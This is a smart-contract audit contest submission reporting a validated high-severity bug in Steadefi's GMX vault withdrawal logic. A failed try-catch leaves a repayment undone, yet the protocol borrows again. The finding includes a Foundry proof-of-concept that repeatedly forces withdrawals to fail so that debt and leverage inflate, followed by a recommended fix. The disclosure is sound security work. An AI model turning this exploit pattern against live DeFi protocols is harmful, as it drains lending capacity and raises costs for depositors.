Steadefi
Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

try-catch does not store the state when it is reverted

schnilch

Summary

If a withdrawal from GMX is successful without any errors, the borrowed amount is repayed to the lending vaults within a try-catch block within the processWithdraw function. Subsequently, the afterWithdrawChecks are performed. If a revert occurs during this step, everything executed within the try-catch block is reseted, and the Vault's status is set to 'Withdraw_Failed.' In such a scenario, a Keeper must call the processWithdrawFailure function. In this case, there is an erroneous attempt to borrow from the LendingVaults again, even though the repayment never actually occurred due to the revert within the try-catch block.

Vulnerability Details

Here is a POC that demonstrates how a user can exploit this bug by intentionally causing the afterWithdrawChecks to fail, resulting in additional borrowing from the LendingVault in the processWithdrawFailure function.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
​
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
​
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC1() public {
//Owner deposits 1 ether in vault
vm.startPrank(owner);
_createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
​
//User1 deposits 1 ether in vault
vm.startPrank(user1);
_createDeposit(address(WETH), 1 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
//Variables for assertion
uint256 leverageBefore = vault.leverage();
(,uint256 debtAmtTokenBBefore) = vault.debtAmt();
​
uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1); //Vault shares to withdraw
GMXTypes.Store memory _store;
for(uint256 i; i < 5; i++) {
vm.startPrank(user1);
//User1 tries to withdraw all of his deposits and enters an unrealistically high amount as the minWithdrawAmt (10000 ether) to intentionally make the afterWithdrawChecks fail
_createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 10000 ether, SLIPPAGE, EXECUTION_FEE);
​
_store = vault.store();
assert(uint256(_store.status) == uint256(GMXTypes.Status.Withdraw_Failed)); //Since the afterWithdrawChecks have failed, the Vault status is Withdraw_Failed
​
//Keeper calls processWithdrawFailure to deposit the withdrawn tokens back into GMX, mistakenly borrowing something from the LendingVaults in the process.
vault.processWithdrawFailure{value: EXECUTION_FEE}(SLIPPAGE, EXECUTION_FEE);
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
vm.stopPrank();
} //The for-loop is there to demonstrate that a user can easily execute the process multiple times to increase
//the debt and leverage. (The user can do it as long as the Lending Vaults have liquidity.)
​
//Variables for assertion
uint256 leverageAfter = vault.leverage();
(,uint256 debtAmtTokenBAfter) = vault.debtAmt();
​
//Shows that after the failed withdrawal process, debt and leverage are higher. (Token A is irrelevant as Delta is Long)
assert(debtAmtTokenBAfter > debtAmtTokenBBefore);
assert(leverageAfter > leverageBefore);
​
console.log("DebtAmtBefore: %s", debtAmtTokenBBefore);
console.log("DebtAmtAfter: %s", debtAmtTokenBAfter);
console.log("leverageBefore: %s", leverageBefore);
console.log("leverageAfter: %s", leverageAfter);
}
}

The PoC can be started with this command: forge test --match-test test_POC1 -vv

Impact

Users can intentionally deplete the capacity of a lending vault to increase the leverage of a vault. This also results in lending vaults having no capacity left for new deposits. As a result, the utilization rate increases significantly, leading to higher borrowing costs.

Tools Used

VSCode, Foundry

Recommendations

In processWithdrawFailure, no more borrowing should occur:

File: contracts/strategy/gmx/GMXWithdraw.sol#processWithdrawFailure
239: GMXManager.borrow(
240: self,
241: self.withdrawCache.repayParams.repayTokenAAmt,
242: self.withdrawCache.repayParams.repayTokenBAmt
243: );

These lines of code should be deleted

Updates

Lead Judging Commences

hans Auditor
almost 2 years ago
hans Auditor
almost 2 years ago
hans Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong logic in processWithdrawFailure

Impact: High Likelihood: High Overlending is caused due to unnecessary re-borrow on processWithdrawFailure. Assumption that the repayment had gone because it was in try-catch is incorrect.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.